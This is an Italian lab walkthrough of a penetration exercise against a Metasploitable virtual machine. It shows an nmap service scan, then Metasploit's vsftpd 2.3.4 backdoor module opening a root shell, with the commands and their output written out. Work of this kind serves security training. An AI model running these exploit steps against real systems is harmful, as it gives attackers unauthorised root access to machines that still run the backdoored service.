

Tramite nmap individuo il servizio vsftpd sulla porta 21 della macchina target.

**vsftpd**, che sta per "Very Secure FTP Daemon", è un server FTP per sistemi operativi basati su UNIX, inclusi Linux, macOS e altri sistemi simili. FTP, acronimo di File Transfer Protocol, è un protocollo di rete utilizzato per trasferire file tra un client e un server su una rete TCP/IP.

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ nmap -sV 192.168.66.2  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-17 16:03 GMT  
Nmap scan report for 192.168.66.2  
Host is up (0.0012s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd 1.1  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rexecd  
513/tcp   open  login        Netkit rshd  
514/tcp   open  shell        Netkit rshd  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds
```

```
kali@kali: ~  
File Actions Edit View Help  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.66.2  
RHOSTS => 192.168.66.2  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] 192.168.66.2:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.66.2:21 - USER: 331 Please specify the password.  
[*] Exploit completed, but no session was created.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                         |
| RHOSTS  | 192.168.66.2    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                  |

  
Payload options (cmd/unix/interact):  


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
| Id   |                 |          |             |
| 0    | Automatic       |          |             |

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |

  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
[*] 192.168.66.2:21 - The port used by the backdoor bind listener is already open
```

```
[+] 192.168.66.2:21 - UID: uid=0(root) gid=0(root)
```

```
[*] Found shell.
```

```
[*] Command shell session 1 opened (192.168.66.3:40157 → 192.168.66.2:6200) at 2024-01-17 16:15:24 +0000
```

```
ifconfig
```

```
eth0      Link encap:Ethernet  HWaddr 46:6e:94:cb:0e:5d  
          inet addr:192.168.66.2  Bcast:192.168.66.255  Mask:255.255.255.0  
          inet6 addr: fd80:466d:80b6:1d84:446e:94ff:feeb:e5d/64  Scope:Global  
dwek      inet6 addr: fe80::446e:94ff:feeb:e5d/64  Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:3282 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:2479 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:255877 (249.8 KB)  TX bytes:197419 (192.7 KB)  
          Base address:0xc000  Memory:febc0000-febe0000
```

```
lo
```

```
Link encap:Local Loopback  
inet addr:127.0.0.1  Mask:255.0.0.0  
inet6 addr: ::1/128  Scope:Host  
UP LOOPBACK RUNNING  MTU:16436  Metric:1  
RX packets:159 errors:0 dropped:0 overruns:0 frame:0  
TX packets:159 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:0  
RX bytes:52373 (51.1 KB)  TX bytes:52373 (51.1 KB)
```

